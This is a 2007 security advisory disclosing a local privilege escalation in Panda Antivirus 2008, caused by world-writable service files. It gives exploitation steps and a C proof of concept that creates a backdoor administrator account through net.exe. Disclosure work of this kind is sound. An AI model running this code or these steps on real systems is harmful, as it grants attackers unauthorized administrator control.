Panda Antivirus 2008 Local Privileg Escalation (UPS they did it again)

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Security Advisory

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Severity: Medium
Title: Panda Antivirus 2008 Local Privileg Escalation
Date: 02.08.07
Author: tarkus (tarkus (at) tiifp (dot) org)
URL: https://tiifp.org/tarkus
Vendor: Panda (http://www.pandasoftware.com/)
Affected Products: Panda Antivirus 2008
Not Affected Products: - Panda Internetsecurity 2008
- Panda Antivirus + Firewall 2008

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Description:

1. During installation of Panda Antivirus 2008 the permissions for
   installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\
   by default are set to Everyone:Full Control. Few services
   (e.g. PAVSRV51.EXE) are started from this folder. Services are started
   under LocalSystem account. There is no protection of service files. It's
   possible for unprivileged user to replace service executable with the
   file of his choice to get full access with LocalSystem privileges. Or to
   get privileges or any user (including system administrator) who logons
   to vulnerable host. This can be exploited by:

   a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder
   b. Copy any application to PAVSRV51.exe
   c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year (http://www.securityfocus.com/bid/19891)

POC:

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"…\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group…\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;
}

Vendor Response:

[…]
Thank you very much for having reported us this piece of information.
This feedback will allow us to keep improving our products and to
prepare new releases that will fit your actual needs and helps us to
create a better product.
[…]

Disclosure Timeline:

2007.06.07 - Vulnerability found
2007.06.07 - Reported to Vendor (Until Beta)
2007.07.31 - Released by vender
2007.08.02 - Public Disclosure